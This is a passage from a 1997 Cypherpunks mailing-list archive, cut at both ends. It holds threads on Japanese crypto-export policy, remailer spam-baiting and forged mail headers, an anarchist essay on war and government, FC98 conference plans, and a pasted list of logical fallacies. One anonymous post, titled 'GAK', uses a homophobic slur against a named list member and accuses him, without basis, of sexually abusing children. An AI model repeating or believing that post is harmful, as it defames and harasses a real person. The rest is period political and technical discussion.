   few weeks, members of the coalition plan to travel overseas
   with their message. The group expects to meet with members
   of Congress, White House advisers and FCC officials
   sometime in January.

   -----












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Mon, 17 Nov 1997 15:05:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
In-Reply-To: <199711162343.IAA12079@eccosys.com>
Message-ID: <199711170700.QAA13617@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 16:30 97/11/16 -0700, Tim May wrote:

> My strong suspicion is that Japanese journalists and source are NOT the
> best place to learn about Japanese SIGINT and COMINT capabilities. Not hard
> to see some reasons for this.

I will agree with you on this. I am not an expert. (I am not a traditional
journalist either.) I was just stating my honest understanding and
impression.

> Please notify me, and us, of the forums where these engagements are
> occurring. For starters, how about some e-mail addresses of cabinet
> ministers and other officials.

The main problem is that most of it is in Japanese. 

The discussion in the media is definitely not enough, but it exists.
Mr. Makino, a lawyer is tracking the wiretap stuff closely and
Gosuke Takama is tracking the crypto stuff. Wired Japan (in Japanese)
is probably the most comprehensive in tracking government policy
in this area. Some of the major newspapers have published some good
articles. I'll see if I can get permission to post one by Mr. Makino
in English.

Most of the "talking" goes on in study groups run be the ministries.
The members of the study groups usually included party-line academics,
industry people, and some outsiders such as myself. I am usually included
in study groups that either want to protect themselves from my
criticism later or that feel I actually add value. The ministry will
usually go to each of the members of the committee and try to talk
through any important points before the actual study session occurs
so that there is no conflict during the session. In practice, there
are several of us who do not necessarily agree and we are verbal
during the sessions. These points get dilligently put on record and
impact the actual report if we are stuborn enough. These reports then
get distributed and used by politicians and media as references.

One way, other than being a member of such a study group, to impact
these study groups is to be invited as a speaker or to have written
material distributed and discussed. I have made a point of distributing
as much material from the Net as possible arguing against key escrow
and wiretap. If anyone is willing to come to Japan to make a presentation,
I would be happy to arrange such hearing.

The fact of the matter is, the system is very inefficient and many things
don't turn out the way I would like, but being one of the handful of
people who can say what they think in these study groups, I feel it
is my responsibility to actively engage in the method to trying to make
things better.

All of the ministries have web pages and email addresses, but I doubt
they have much effect.

I really am sorry I don't have a better answer.

> This discussion is hardly going down in flames. You're apparently too
> sensitive to engage in robust debate.

This is true. I am not going engage in what you probably call a robust
debate. A lot of people read this list and any robust debate will
probably lower my reputation capital in some important area for me
no matter what the outcome. I am not currently willing to take this risk.

> Frankly, I've seen no mentions in the American press, let alone the
> Japanese press, about how Japan caved in to U.S. pressures. (There may have
> been some minor mentions in the U.S. press, but they had little impact.)

There are journalists focusing on this issue. I don't think anything
is in print yet.

> So, Joichi, why don't you stir the shit on this one? And I don't mean with
> "constructive engagement." That's a synonym for inaction.

Sorry. I am stiring the shit way too hard already. Not enough for you,
I'm sure, but my risk is already rather high just talking to you here. :-)

> Point out to your Japanese readers the nefarious role the NSA is playing,
> the role of the U.S. spy facilities in Misakawa Air Force Base, where the
> NSA and its military liason offices, intercept the communications of
> Toshiba, Fujitsu, Hitachi, NEC, and so on and feed them, selectively, to
> U.S. COMINT consumers. (Why Japan and Germany allow U.S. SIGINT facilities
> in their own territory is a mystery to me...must be some nice payoffs to
> senior officials.)

This is actually rather well documented in the press and I think 
several analysts such as Mr. Kazuhisa Ogawa actively talk about this
point.

> Declare war on the NSA. You've several times trumpetted the Japanese
> Constitution as supporting basic rights even more than the Amerikan
> Constitution does, so this is your chance to say "Fuck the National
> Security State."

Nope. You're not going to catch me declaring war on the NSA on this
mailing list. ;-P

> Get the RSA chip released widely and quickly. The drug trade in Asia could
> use it right now.

I am going to actively work on trying to get people like RSA to export
their chip, but not necessarily for the drug trade.

So... I am a wimpy moderate, but at least I'm talking to you folks.
If you want me to shit or get off the pot, I think I'll get off the
pot.

- Joi

P.S. I am going out of town for two days and may not have
net connectivity. So, if I don't respond to something, it's not
because I'm hiding. If you don't hear from me in 3 days, call John
Markoff for me. ;-P

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 18 Nov 1997 00:16:28 +0800
To: cypherpunks@cyberpass.net
Subject: Overcoming War with Information
Message-ID: <608de478834f3fb5b4a7cd41ff59a717@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Steve Schear wrote:
>Many injustices follow from form and scale of government.  I won't be the 
>first to point out that as the number of people, geography and ethnic 
>diversity increase governance becomes ever more difficult and as is the 
>balancing of individual liberty over the "overiding interests of the 
>society."  The solution is clear, the method of its emergence is not.  
>Smaller geo-political units.  I doubt that our pressing social and political 
>problems can be adequately delt with until the scale of governance is 
>changed, but this requires those in the center to give up much and 
>historically this has rarely if ever happened without bloodshed.

Monty Cantsin wrote elsewhere:
>One of the things that appeals to me about the tools the cypherpunks
>are developing is the likelihood that they will end war.  What
>percentage of wars are instigated and organized by governments?  That
>is, how many wars can we think of in which a war originated in the
>population of country and dragged its unwilling government into the
>fray?  I cannot think of any.

War is often used to justify the existence of government.  If politicians 
can convince the people that they have an enemy that must be destroyed, the 
people willingly give their lives and livelihood to the government to fight 
this assumed enemy.  War feeds the expansion of a government's power over 
its citizens.  After the war has ended, the government maintains this 
newfound power.

Interestingly, the 20th century, which has been the bloodiest in recorded 
history, has also been the century of failed experiments in large-scale 
government.  The former Soviet Union and Yugoslavia are clear examples of 
what happens when different groups of people (who would rather not be 
associated) are forced to live together at the point of a gun.  The 
disolution of the Soviet Union and Yugoslavia, and the subsequent violence 
and unrest clearly illustrate the results of forced association.

Governments are impedements to the free and voluntary interaction among the 
world's people.  Look how vehemently governments attempt to block the flow 
of certain types of information to their people.  Trade barriers, censorship 
and control of communications channels are three of the tools governments 
use to restrict a free global society.

The trend now is toward smaller political units.  The recent dissolution of 
former socialist nation-states is one example.  The growth in the "State 
Sovereignty" movement in America is another.  "Those in the center", as 
Steve refers to them, may not have any choice about giving up what they 
have.  Their only hope would be to spread enough lies (via the mass media 
channels) to convince the majority of people to back them, in another war of 
course.

We must remember that people are reluctant -- and for good reason -- to go 
to war.  Common sense prevails, though it may not be exercised all that
often.  War can be avoided if the truth of the situation is revealed to the
populace: the spotlight shone on the puppetmasters.

At the same time, clear solutions to the problems that have accumulated due 
to blind faith in an unworkable system have to be presented and implemented. 
The transition will not be easy.

We have our work cut out for us.

Nerthus

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Version: PGP for Personal Privacy 5.0
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dfGlpcEZz7rnf3teqOMHlY858Z0Dkax+/9GvBbBSv8yGcOeaZRQuow==
=eqJh
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 18 Nov 1997 00:37:46 +0800
To: jito@eccosys.com
Subject: Re: Exporting crypto from Japan
In-Reply-To: <199711170700.QAA13617@eccosys.com>
Message-ID: <199711171623.QAA01215@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Joichi Ito <jito@eccosys.com> writes:
> At 16:30 97/11/16 -0700, Tim May wrote:
> > This discussion is hardly going down in flames. You're apparently too
> > sensitive to engage in robust debate.
> 
> This is true. I am not going engage in what you probably call a robust
> debate. A lot of people read this list and any robust debate will
> probably lower my reputation capital in some important area for me
> no matter what the outcome. I am not currently willing to take this risk.

I am not sure why discussion should lower your reputation capital,
unless open discussion is frowned upon by those who you wish to
influence.  Perhaps you fear that you will be dismissed as a
cypherpunk, a hardliner, whilst you are trying to appear less radical.

> > So, Joichi, why don't you stir the shit on this one? And I don't mean with
> > "constructive engagement." That's a synonym for inaction.
> 
> Sorry. I am stiring the shit way too hard already. Not enough for you,
> I'm sure, but my risk is already rather high just talking to you here. :-)

I am pleased that you are discussing with us crypto politics in
Japan... we have few contributors from Japan in the past.  The lower
protection for political speech in your country I always suspected was
the problem.  Dissidents who speak out against the government line in
Japan I suspect are taking bigger risks than in the US, UK, and
Europe.

> > Declare war on the NSA. You've several times trumpetted the Japanese
> > Constitution as supporting basic rights even more than the Amerikan
> > Constitution does, so this is your chance to say "Fuck the National
> > Security State."
> 
> Nope. You're not going to catch me declaring war on the NSA on this
> mailing list. ;-P

I would've thought that the NSA's world policeman attempts would be
resented by Japanese secret service types.  I get the impression there
are tensions between EU, UK and US secret services.

> So... I am a wimpy moderate, but at least I'm talking to you folks.
> If you want me to shit or get off the pot, I think I'll get off the
> pot.

Well be careful of doing deals with the devil.  Several crypto
lobbying groups in the US some suspect did more harm than good.  These
groups lost their no compromise stance, and ended up helping to draft
laws to ban crypto because they thought they could make the laws
mildly less obnoxious by doing so.  It may even have been the case
that they had a net negative impact on freedom of crypto.  Making
deals with politicians is a dangerous game to play.  They are
opinionless power brokers, and will just use you as a bargaining chip.

> P.S. I am going out of town for two days and may not have
> net connectivity. So, if I don't respond to something, it's not
> because I'm hiding. If you don't hear from me in 3 days, call John
> Markoff for me. ;-P

Don't know how things work in Japan, but I hear from people who've had
spooky attentions that the best protection against spooks is harsh
bright lights: they hate publicity.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 18 Nov 1997 08:42:39 +0800
To: Ryan Lackey <cypherpunks@cyberpass.net
Subject: Re: trusting untrusted platforms
In-Reply-To: <199711161443.JAA01554@tana.mit.edu>
Message-ID: <v0400274db09666e36296@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 9:43 am -0500 on 11/16/97, Ryan Lackey wrote:

> Ryan (getting dangerously close to having a working Eternity DDS demo,
> and wondering if FC98 will be on mbone, particularly the solar eclipse,
> since even if he had the money to go, it's in the middle of next
>semester, and disappearing for a week would kind of be difficult, although
>not at all impossible of someone wants to pay for me to go...ahh, but
>there's always next year)

Ding! You rang? Welcome to Random Acts of Kindness, Inc. Our motto: "You never
know when we're going to make your day!"...

Ryan, if you get airfare to Anguilla somehow, we'll find a way to put you
up and feed you. And comp you your conference badge, of course. *But*, you may
have to work (some) for it...

Thank you for playing "Be Careful What You Wish For"... :-).


By the way, the FC98 organizing committee has decided, it appears, that we
can't fight mother nature, much less celestial mechanics, and we're probably
(it might mess up a lot of people's schedules, which is why we say "probably"
right now) just going to skip conference sessions on Thursday so people can go
park a boat (bring lots of dramamine, the waves start in Africa) off
Montserrat(!) or wherever, to see the total eclipse. We're probably also going
to mount an organized (such as it is) official FC98-sanctioned expedition
to do it.


Now, exactly *how* far can a pyroclastic flow go out to sea?...

Cheers,
Bob Hettinga


-----BEGIN PGP SIGNATURE-----
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-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@neptune.chem.uga.edu>
Date: Tue, 18 Nov 1997 06:13:52 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Databasix conspiracy theories
In-Reply-To: <0738cb51233c79e1c67184be72abdb44@anon.efga.org>
Message-ID: <Pine.LNX.3.94.971117164118.224h-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 17 Nov 1997, Anonymous wrote:

> I think it's just as well that people NOT get the idea that the e-mail
> address in the headers (from *ANY* ISP) is somehow authenticated and reliable.

There is some merit to that...

> The remailers themselves have become the victims of forgeries.  Back during
> the DataBasix "reign of [t]error" directed at Jeff Burchell, the "DataBasix
> cabal" (called that by a Netcom news admin, BTW) accused the Mailmasher
> 'nymserver of being used for "forgery" of Gary Burnore's name and address
> to various posts.  And now, even after the cajones.com domain has apparently
> bitten the dust, I've seen complaints of spam being received by people that's
> been forged to look as if it had come from that domain.  In the case of the
> Burnore forgeries, the Path: was only traceable back to the mail2news gateway, 
> so the header items implicating Mailmasher could have easily been forged just 
> as Mr. Burnore's address was.  Nevertheless, these alleged "forgeries" 
> comprised the rationale used by a DataBasix employee, Billy McClatchie, for 
> demanding the Mailmasher be shut down.

I've never really been convinced that Databasix has much to do with the
Huge Cajones fiasco. I'm not saying nobody from there is involved, though.
I'm just trying to keep an objective opinion on the subject.
   
> That's even more evidence that the real target of the spam baiter(s) was the
> remailers themselves.  Why else would you "attack" people, then anonymously
> warn them of what you'd done?  Perhaps that's why the spam baiting reportedly
> was directed not only at the DataBasix gang, but also at their detractors,
> such as Ron Guilmette, Scott Dentice, etc.

That the primary target of the spam-baiting campaign was the remailer net
(one at a time), I have little doubt.

> > (There was another set of letters going around claiming to
> > be pro-remailer, but I was always skeptical that that was the true
> > intention.)
> 
> Sounds like a classic, "F.U.D." disinformation campaign like another
> anti-privacy bunch, the Co$, would engage in.  What better way to discredit
> remailers that to, for example, send out anonymous messages saying "Preserve
> your rights -- defend remailers!" and making it look like the message came
> from a member of the KKK, or NAMBLA, or some other unpopular group.

Yes, and that's how it appeared to me, as well. In fact, I really would
doubt any other possible scenario, mainly because much of the spam-baiting
was done to IP addresses (same people, different hosts), so IP addresses
were basically outlawed (if you have an IP address, you've got to have a
FQDN, right?). That and people were apparently being sent many copies of
the "warning" (to the same address). Also, the tone of the letter seemed
counter to what it was supposedly intended to accomplish, i.e., "there's
nothing you can do about it, so stop whining". OTOH, I did make a public
request for whoever it was doing it to stop, and they did seem to stop
rather shortly after that, though spam-baiting continued.

Andy Dustman / Computational Center for Molecular Structure and Design
For a great anti-spam procmail recipe, send me mail with subject "spam".
Append "+spamsucks" to my username to ensure delivery.  KeyID=0xC72F3F1D
Encryption is too important to leave to the government. -- Bruce Schneier
http://www.athens.net/~dustman mailto:andy@neptune.chem.uga.edu   <}+++<






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 18 Nov 1997 11:08:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Databasix conspiracy theories
In-Reply-To: <0738cb51233c79e1c67184be72abdb44@anon.efga.org>
Message-ID: <3.0.3.32.19971117175315.006a2520@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713752.multipart/signed"

--Boundary..3986.1071713752.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 03:24 PM 11/17/97 -0500, Anonymous wrote:
>Any kid with a throwaway Netcruiser account and a copy of Netscape or some
>other mailer that allows you to set an arbitrary From: address on outgoing
>SMTP mail can easily "forge" a return address, and certainly do a more 
>convincing job than you could ever hope to do by pasting headers through a 
>remailer.  I'll bet if that happened, people like Mr. Burnore would not be
>so quick to demand that Netcom be shut down if it can't put a stop to this.

Woodwose (who appears to have borrowed my last name for his "True Name")
appears to have done a variation of this--except that if there are
complaints about messages being sent from woodwose@mailexcite.com, I doubt
anything will happen other than the woodwose account at mailexcite.com
being closed.  Hence, his "disposable remailer" claim.  Any shmuck can log
on and input a fake name, address, and demographic data to create a new
account at hotmail, mailexcite, or juno.  In this way, as existing
remailers are harassed out of existence, new ones can be created on a daily
or hourly basis.  It would probably be interesting to find out how much
info these outfits collect (cookies, etc.) that could be definitively
linked to a True Name.


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713752.multipart/signed
Content-Type: application/octet-stream; name="pgp00011.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00011.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5IRURWTUpGMGtYcXB3
M01FUUlSOXdDY0NGMVZONFUyTDlUMGwwUUxxL2IyaHhCR0R0d0FuQXZpCi9J
V2N0U3BKbXNxVWNzVjZtN2NTUG5Kawo9RlhYNwotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713752.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 18 Nov 1997 08:07:54 +0800
To: cypherpunks@toad.com
Subject: GAK
Message-ID: <e6c0e6142c88bba527aef8e8ed4f4578@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. Mayonnaise is not only as queer as 
a three dollar bill, but he is also into 
having sex with children.

  ___
 <*,*> Timothy C. Mayonnaise
 [`-']
 ' - '





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 18 Nov 1997 08:53:41 +0800
To: cypherpunks@cyberpass.net
Subject: Mission:Critical and Informal Fallacies
Message-ID: <v0400277bb0967c576ccc@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




I've been writing a gigantic e$ rant, :-), which I haven't done in a while,
and so I've left things to pile up in my POP account until I was done. I'm
done, and I'm still bashing the (blatant :-)) silliness out of it, and will
send it here soon.

In the meantime, I wanted to find a quick and dirty list of informal
logical fallacies, and, while I was at it, I bumped into Mission:Critical,
which is fairly comprenensive website on logic an critical thinking.
Evidently you can earn college credit on it, for those of you who need
college credit. :-). Here it is.

http://www.sjsu.edu/depts/itl/

Also, I've found a reasonable list of informal fallacies, from
<http://ddi.digital.net/~setzerl/LOGIC.htm>, (which see for applicable
attributions) which I've appended here. That way, you can all keep score at
home. Expect me to use a bunch, whether I want to or not... :-). Notice
that argumentum ad hominem is when you discount someone's opinion because
of who they are or what they do. Vuperative insults, it seems, are another
thing altogether.  :-).


It's a shame that Tim seems to have killfiled me at this point. Usually, I
like it, because then I can post stuff here without him tearing me a new
asshole very time.  This time, since I'm doing the tearing, maybe he's just
hiding. Which is fine, because he can run, but he can't hide on this crap
anymore...

More in a bit, when I get e$pam all caught up.

Cheers,
Bob Hettinga

-------


----------------------------------------------------------------------------

                   Slick Maneuver Identification Table #1

                       Fallacies of Oversimplification

           SLICK MANEUVER                           EXAMPLE

  Special Pleading or                "During a period of war sales
  Card-Stacking: Stacks the deck of  increase, prices rise, and greater
  evidence to facilitate a desired   profits are made. Therefore wars are
  outcome.                           brought about by persons who profit
                                     financially from them."

  Genetic Fallacies: Attempt to
  reduce the significance of a       "Our nation cherishes freedom today,
  movement or a state of affairs     since many of the founders of the
  merely to a proposed account of    republic were men who prized freedom
  its origins or earliest            more than life itself."
  antecedents.

  False Cause: Oversimplifies the
  relevant antecedents of a given    "Rome fell because its leaders
  series of events.                  quarreled among themselves."

  False Analogy: Takes two or more
  objects which are similar in some  "Minds, like rivers, can be broad. The
  ways and makes an unwarranted      broader the river, the shallower it
  inference about the additional     is. Therefore, the broader the mind,
  ways in which such objects could   the shallower it is."
  be similar.

  Black-and-White Fallacy:
  Overlooks both gradations and      "All politicians are either highly
  additional alternatives between    efficient or completely inept."
  extreme positions.

  Accident: Applies a general        "If it is wrong to break into a cabin,
  principle to an exceptional case   then a cabin should not entered to
  without critical examination or    save a party from freezing even though
  regard to context.                 they are caught in a blizzard."

                                     "Since it is permissible for a student
  Converse Accident: Generalizes     to delay handing in his assignment if
  from an exceptional case to a      he is called home on an emergency, it
  proposed general principle.        is permissible for a student to delay
                                     handing in an assignment whenever he
                                     chooses to do so."

                                     "Smith, Jones, and Brown are members
  Hasty Generalization: Reaches a    of labor unions and each of them is
  generalized conclusion on the      interested in gaining the maximum pay
  basis of too limited a range of    with the least amount of work.
  examples.                          Therefore, all members of labor unions
                                     are interested only in gaining the
                                     highest wage for the least work."

----------------------------------------------------------------------------

                   Slick Maneuver Identification Table #2

                  Fallacies of Misuse of Appeal to Emotions

           SLICK MANEUVER                           EXAMPLE

  The Misuse of Appeal to Laughter:  "Anyone who accepts the conclusions of
  Diverts attention from the         my opponent would also be forced to
  central issues and stifles         accept the view that the tail wags the
  serious thought and analysis.      dog."

  The Appeal to Pity (Argumentum Ad  "John deserves a 'C' in this class
  Misericordiam): Replaces relevant  since his parents have sacrificed to
  evidence for a conclusion with a   send him to college and he will not
  bid for the sympathy of an         graduate if he receives a lower
  audience.                          grade."

  The Appeal to Reverence: Replaces  "We must beware of foreign entangling
  relevant evidence for a            alliances since Washington, the
  conclusion with a bid for respect  founder of our nation, warned us
  for traditions.                    against taking such a course of
                                     action."

  The Bandwagon Fallacy: Appeals to
  an interest in following the       "You ought to buy a small European
  crowd and doing as they do rather  sports car as all members of the smart
  than to adequate evidence          crowd now own one of these cars."
  justifying a conclusion.

                                     "I'm sure that you will recognize that
  The Common-Folks Appeal: Appeals   I am more competent than my opponent.
  to attempts to secure acceptance   When I was in high school I had to get
  of a conclusion by the speaker's   up at four-thirty every morning to
  identification with the everyday   deliver papers. In college I was
  concerns and feelings of an        barely able to make C's and had to do
  audience rather than on the basis  janitorial work in order to make ends
  of adequate evidence.              meet to put myself through school.
                                     Therefore, I would make a better
                                     Congressman."

  Appeal to the Gallery (Argumentum  "As you union members know, I am a
  Ad Populum): Seeks acceptance of   champion of the labor movement, and
  a point of view by an emotional    seek to eliminate exploitation of the
  reaffirmation of a speaker's       common worker by big business.
  support of values, traditions,     Therefore, you know you can trust my
  interests, prejudices, or          judgment when I say that this
  provincial concerns shared widely  agricultural legislation will be good
  by members of an audience.         for the country."

----------------------------------------------------------------------------

                   Slick Maneuver Identification Table #3

                Fallacies of Involved or Complex Assumptions

              SLICK MANEUVER                           EXAMPLE

  Begging the Question (Petitio
  Principii): Assumes what needs to be    "All the events in nature are
  proven and offers this assumption as    determined. Human events are
  evidence for a conclusion that only     part of the events in nature.
  particularizes the assumption or that   Therefore, human events are
  restates an equivalent form of the      determined."
  original assumption.

  Arguing in a Circle: Uses a premise as  "Democracy is desirable because
  evidence to establish a conclusion,     it promotes freedom of inquiry.
  and this conclusion is used as          But why is freedom of inquiry
  evidence to establish the original      desirable? Because it promotes
  premise.                                democracy."

  Name-Tagging: Assumes the attachment
  of labels to persons or things          "This application is easy to
  constitute evidence for conclusions     use. Look at its label, 'Easy
  about the objects to which the labels   Applicator.'"
  are applied.

                                          "Anything that you say would be
  Poisoning the Wells: Discredits the     influenced by your interest in
  source of proposed evidence, so that    civil rights. You may make your
  the evidence is ruled out prior to any  statement, but we shall know
  consideration of its merits.            beforehand that it will be
                                          distorted and unreliable."

  Complex Question: Assumes or
  presupposes a certain state of
  affairs, so that any answer involves    "Have you stopped telling lies?"
  the granting of the assumption.

  Leading Question: "Plants" a proposed   "You do believe that longer
  answer to a question by the manner in   vacations are desirable, do you
  which the question is asked.            not?"

  Contradictory Assumptions: Attempts to
  make two or more contradictory          "What would happen if an
  assumptions, thus violating the         irresistible force met an
  Aristotelian rule of "either-or."       immovable object?"

----------------------------------------------------------------------------

                   Slick Maneuver Identification Table #4

               Fallacies of Imprecision in the Use of Language

          SLICK MANEUVER                           EXAMPLE

  The Misuse of Vague             "You claim that you believe in free
  Expressions: Occurs if a        enterprise, yet you accept socialistic
  conclusion not justified by     practices of government like the War on
  evidence is attributable to     Poverty and Medicare. The American way
  the misinterpretation of a      of life has never endorsed a policy of
  vague expression.               providing something for nothing."

  The Fallacy of Simple
  Ambiguity: Results from an
  effort to establish a           "We cannot expect John to come since he
  conclusion by interpreting a    said, 'Nothing will deter me from
  statement in a manner not       coming.'"
  justified by the context.

  The Fallacy of Equivocation:    "Everything subject to law is subject to
  Changes or shifts the meaning   a lawgiver. The natural order is subject
  of a key expression in the      to a law. Therefore, the natural order
  middle of an argument.          is subject to a lawgiver."

  The Fallacy of Amphibole:
  Occurs if a conclusion not      "No cat has nine tails. Any cat has one
  justified by evidence is based  more tail than no cat. Therefore, any
  upon ambiguity attributed to    cat has ten tails."
  the syntax of a sentence.

  The Fallacy of Ambiguity of
  Significance: Occurs in the     "A period of higher unemployment is
  drawing of an improper          developing, since there was a one
  conclusion by                   percent increase in the rate of
  misinterpretation of the        unemployment in January."
  significance of a statement.

                                  A theme was returned to a student with
  The Fallacy of Accent: Occurs   the notation, "Some parts of this theme
  when improper emphasis is       are good and other parts interesting.
  placed upon a word, phrase, or  The interesting parts are inaccurate and
  a sentence and on this basis a  the good parts were copied." The student
  conclusion is inferred.         wrote his parents, "The grader wrote
                                  that my theme was 'good' and
                                  'interesting.'"

  The Fallacy of Division:        "Since surgeons have spent many years in
  Infers that the property of an  perfecting appendectomies, Dr. James
  organized whole also            Doe, the new surgeon in our town, has
  characterizes the parts of the  spent many years in perfecting his
  whole.                          technique in performing appendectomies."

  The Fallacy of Composition:     "Since the members of this team are the
  Infers that the qualities or    best players of their respective
  characteristics of parts of a   positions in the conference, a team
  whole must also characterize    composed of these players would be the
  the whole itself.               best team in the conference."

----------------------------------------------------------------------------

                   Slick Maneuver Identification Table #5

                          Fallacies of Irrelevance

           SLICK MANEUVER                           EXAMPLE

  Fallacies Misusing Appeals to
  Authoritative Sources: Support a
  conclusion by appeals to           "Man must be immortal because this
  documents, generally held          belief has tended to be present in
  beliefs, or the opinions of        such widely differing societies in
  well-known persons that are not    highly divergent circumstances over
  particularly germane or qualified  such a long span of history."
  to deal with the point at issue.

  The Appeal to Force (Argumentum    "You should accept the view that our
  Ad Baculum): Substitutes force or  protection society can strengthen the
  the threat of its use for          sales of your product. Otherwise you
  rational evidence in the support   might find that your machinery has
  of a conclusion.                   been damaged and that your labor
                                     troubles increase."

  The Appeal to the Man (Argumentum
  Ad Hominem): Seeks to prove a      "The statement of this witness cannot
  conclusion false by attacking the  be accepted as reliable, since he
  character, reputation,             participated in a protest
  associations, or social            demonstration against the United
  situations of the person           States' foreign policy when he was a
  proposing it.                      student in college."

  The Argument from Intimidation:
  Asserts arbitrarily that a
  person's idea is false and then
  uses the assertion as proof of     "John asserts that no man is his
  that person's immorality. This     brother's keeper. This is a false
  fallacy was identified by Ayn      idea. Therefore, John is immoral."
  Rand in The Virtue of
  Selfishness.

  The Appeal to Ignorance
  (Argumentum Ad Ignorantium):
  Advances the position that if one  "Since you cannot disprove that there
  conclusion in an argument cannot   are flying saucers, you should accept
  be established convincingly, then  as reliable the reports of those
  the opposing view can be           claiming to have seen such objects."
  accepted.

                                     "Any high school graduate should be
  The Fallacy of an Irrelevant       admitted to any university supported
  Conclusion or of "Missing the      by taxes in his state, since he
  Point of the Evidence" (Ignoratio  should be assured of all privileges
  Elenchi): Stresses factors that    of citizenship guaranteed to him by
  may support a conclusion other     the Constitution, his family also
  than the one proposed.             pays taxes in that particular state,
                                     and he can get a better job if he is
                                     a graduate of a university."

  The Argumentative Leap (Non
  Sequitur): Jumps to a conclusion   "The electoral college is subject to
  with no immediate basis for        extreme criticism. Therefore,
  drawing the proposed conclusion    presidential candidates should be
  provided internally within the     nominated by popular votes rather
  argument.                          than by political conventions."

  Post Hoc, Ergo Propter Hoc (After
  This, Therefore Because of This):
  Suggests that because one event    "John had a cold. John took large
  follows another, the former must   doses of vitamin C. The cold
  have caused the latter, without    subsided. Therefore, the large doses
  showing a causal link. This        of vitamin C caused the cold to
  fallacy was identified by Frank    subside."
  R. Wallace in The Neo-Tech
  Discovery.
-----


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 18 Nov 1997 16:24:29 +0800
To: cypherpunks@Algebra.COM
Subject: Re: List Robustness
In-Reply-To: <v0310280bb092291ceb73@[207.167.93.63]>
Message-ID: <3.0.3.32.19971117190222.00688de4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:26 PM 11/14/1997 -0600, Igor Chudov @ home wrote:
>I do not think that it is entirely impossible either, but the likely
>scenario is that the government may first try to harass us and attempt
>the criminal charges only after some time.
>
>In any case, the present structure of cypherpunks list is entirely
>unacceptable. We have only three working nodes. This is bad since all
>of these nodes reside in the US and can be taken out easily.

Cypherpunks-e@htp.com is in Japan, though I don't know if it only gets feeds
